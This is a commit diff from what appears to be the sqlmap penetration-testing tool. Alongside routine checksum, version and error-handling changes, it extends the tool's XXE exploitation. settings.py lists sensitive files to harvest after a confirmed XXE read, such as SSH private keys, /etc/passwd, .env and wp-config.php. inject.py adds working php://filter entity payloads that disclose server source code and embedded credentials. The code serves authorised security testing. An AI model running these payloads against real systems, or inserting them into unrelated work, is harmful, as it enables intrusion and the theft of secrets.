Skip to content

Commit 6597415

Browse files
committed
Minor update
1 parent 3bab3cd commit 6597415

5 files changed

Lines changed: 121 additions & 17 deletions

File tree

data/txt/sha256sums.txt

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/
162162
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
163163
9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py
164164
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
165-
0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py
165+
ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py
166166
00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py
167167
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
168168
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
169169
48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py
170170
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
171-
c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py
171+
19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py
172172
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
173173
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
174174
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
189189
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
190190
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
191191
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
192-
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
192+
df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py
193193
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
194194
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
195195
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
258258
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
259259
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
260260
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
261-
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
261+
97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py
262262
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
263263
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
264264
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py

lib/controller/checks.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
12831283
seqMatcher.set_seq1(firstPage)
12841284
seqMatcher.set_seq2(secondPage)
12851285
ratio = seqMatcher.quick_ratio()
1286-
except MemoryError:
1286+
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
1287+
# difflib can fail on pathological input or, rarely, with interpreter-level
1288+
# errors under heavy threading; degrade to "undetermined" instead of crashing
12871289
ratio = None
12881290

12891291
if ratio is None:

lib/core/common.py

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
23442344
infoMsg = "static words: "
23452345

23462346
if firstPage and secondPage:
2347-
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
2348-
commonText = firstPage[match[0]:match[0] + match[2]]
2349-
commonWords = getPageWordSet(commonText)
2347+
try:
2348+
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
2349+
commonText = firstPage[match[0]:match[0] + match[2]]
2350+
commonWords = getPageWordSet(commonText)
2351+
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
2352+
# difflib can fail on pathological input / interpreter-level hiccups; skip
2353+
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
2354+
commonWords = None
23502355
else:
23512356
commonWords = None
23522357

@@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
33633368
infoMsg = "searching for dynamic content"
33643369
singleTimeLogMessage(infoMsg)
33653370

3366-
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
3371+
try:
3372+
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
3373+
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
3374+
# difflib can blow up on pathological/oversized input (and, rarely, with
3375+
# interpreter-level errors under heavy threading); a failed dynamic-content
3376+
# search must degrade gracefully rather than abort the whole scan - mirrors the
3377+
# guard around the ratio computation in lib/request/comparison.py
3378+
return
33673379

33683380
if not merge:
33693381
kb.dynamicMarkings = []

lib/core/settings.py

Lines changed: 22 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.29"
23+
VERSION = "1.10.7.30"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1123,12 +1123,13 @@
11231123

11241124
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
11251125
# this curated set of high-value, fixed-path files (host identity, process env/
1126-
# secrets, key material) - the XXE analogue of the automatic dumping the other
1127-
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
1128-
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
1129-
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
1130-
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
1131-
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
1126+
# secrets, key material, common application drop paths) - the XXE analogue of the
1127+
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
1128+
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
1129+
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
1130+
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
1131+
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
1132+
# request is honoured verbatim instead).
11321133
XXE_FILE_HARVEST = (
11331134
"/etc/passwd",
11341135
"/etc/hostname",
@@ -1142,11 +1143,25 @@
11421143
"/proc/version",
11431144
"/root/.bash_history",
11441145
"/root/.ssh/id_rsa",
1146+
"/flag",
1147+
"/flag.txt",
11451148
"c:/windows/win.ini",
11461149
"c:/windows/system32/drivers/etc/hosts",
11471150
"c:/inetpub/wwwroot/web.config",
11481151
)
11491152

1153+
# Application web roots + source filenames used, once php://filter is available, to
1154+
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
1155+
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
1156+
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
1157+
# environ}. Best-effort and bounded.
1158+
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
1159+
XXE_SOURCE_NAMES = (
1160+
"index.php", "config.php", "config.inc.php", "secret.php",
1161+
"db.php", "database.php", "settings.php", "init.php", "functions.php",
1162+
"app.py", "server.py", "main.py", "wp-config.php", ".env",
1163+
)
1164+
11501165
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
11511166
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
11521167
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).

lib/techniques/xxe/inject.py

Lines changed: 76 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,8 @@
2929
from lib.core.settings import XXE_FILE_HARVEST
3030
from lib.core.settings import XXE_HARDENED_REGEX
3131
from lib.core.settings import XXE_IMPACT_FILES
32+
from lib.core.settings import XXE_SOURCE_NAMES
33+
from lib.core.settings import XXE_WEBROOTS
3234
from lib.core.settings import OOB_POLL_ATTEMPTS
3335
from lib.core.settings import OOB_POLL_DELAY
3436
from lib.core.settings import XXE_LOCAL_DTDS
@@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
276278
return harvested
277279

278280

281+
def _phpFilterWorks(xml, rootName):
282+
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
283+
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
284+
requests for it."""
285+
286+
from lib.core.convert import decodeBase64
287+
288+
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
289+
ent = randomStr(8, lowercase=True)
290+
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
291+
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
292+
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
293+
if match and match.group(1).strip():
294+
try:
295+
return bool(getText(decodeBase64(match.group(1).strip())).strip())
296+
except Exception:
297+
pass
298+
return False
299+
300+
301+
def _harvestSource(xml, rootName, harvested):
302+
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
303+
server-side application SOURCE code via php://filter (source is executed, never
304+
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
305+
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
306+
(running script + working dir) combined with common web roots/source names, and
307+
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
308+
target. Returns a list of (path, content, payload)."""
309+
310+
if not _phpFilterWorks(xml, rootName):
311+
return []
312+
313+
byPath = dict((p, c) for p, c, _ in harvested)
314+
seen = set(getUnicode(c).strip() for c in byPath.values())
315+
candidates = []
316+
317+
dirs = []
318+
environ = getUnicode(byPath.get("/proc/self/environ", ""))
319+
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
320+
cwd = match.group(1).strip() if match else None
321+
if cwd:
322+
dirs.append(cwd)
323+
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
324+
325+
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
326+
for token in re.split(r"[\x00\s]+", cmdline):
327+
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
328+
if token.startswith("/"):
329+
candidates.append(token) # absolute script path
330+
elif cwd:
331+
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
332+
333+
for directory in dirs:
334+
for name in XXE_SOURCE_NAMES:
335+
candidates.append("%s/%s" % (directory.rstrip("/"), name))
336+
337+
logger.info("attempting application source-code disclosure via php://filter")
338+
339+
result = []
340+
read = set()
341+
for path in candidates:
342+
if path in read:
343+
continue
344+
read.add(path)
345+
content, payload = _tryInbandFileRead(xml, rootName, path)
346+
if content and content.strip() and getUnicode(content).strip() not in seen:
347+
seen.add(getUnicode(content).strip())
348+
result.append((path, content, payload))
349+
return result
350+
351+
279352
def _tryInternal(xml, rootName, baseline):
280353
"""T2 in-band: an internal general entity expands to the sentinel and is
281354
reflected. Guarded by a negative control (sentinel absent from baseline) and
@@ -716,7 +789,9 @@ def xxeScan():
716789
if harvested:
717790
found = True
718791
firstPath, _, firstPayload = harvested[0]
719-
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
792+
# follow-up: server-side application source disclosure (php://filter)
793+
harvested += _harvestSource(xml, rootName, harvested)
794+
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
720795
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
721796
saved = []
722797
for path, content, _ in harvested:

0 commit comments

Comments
 (0)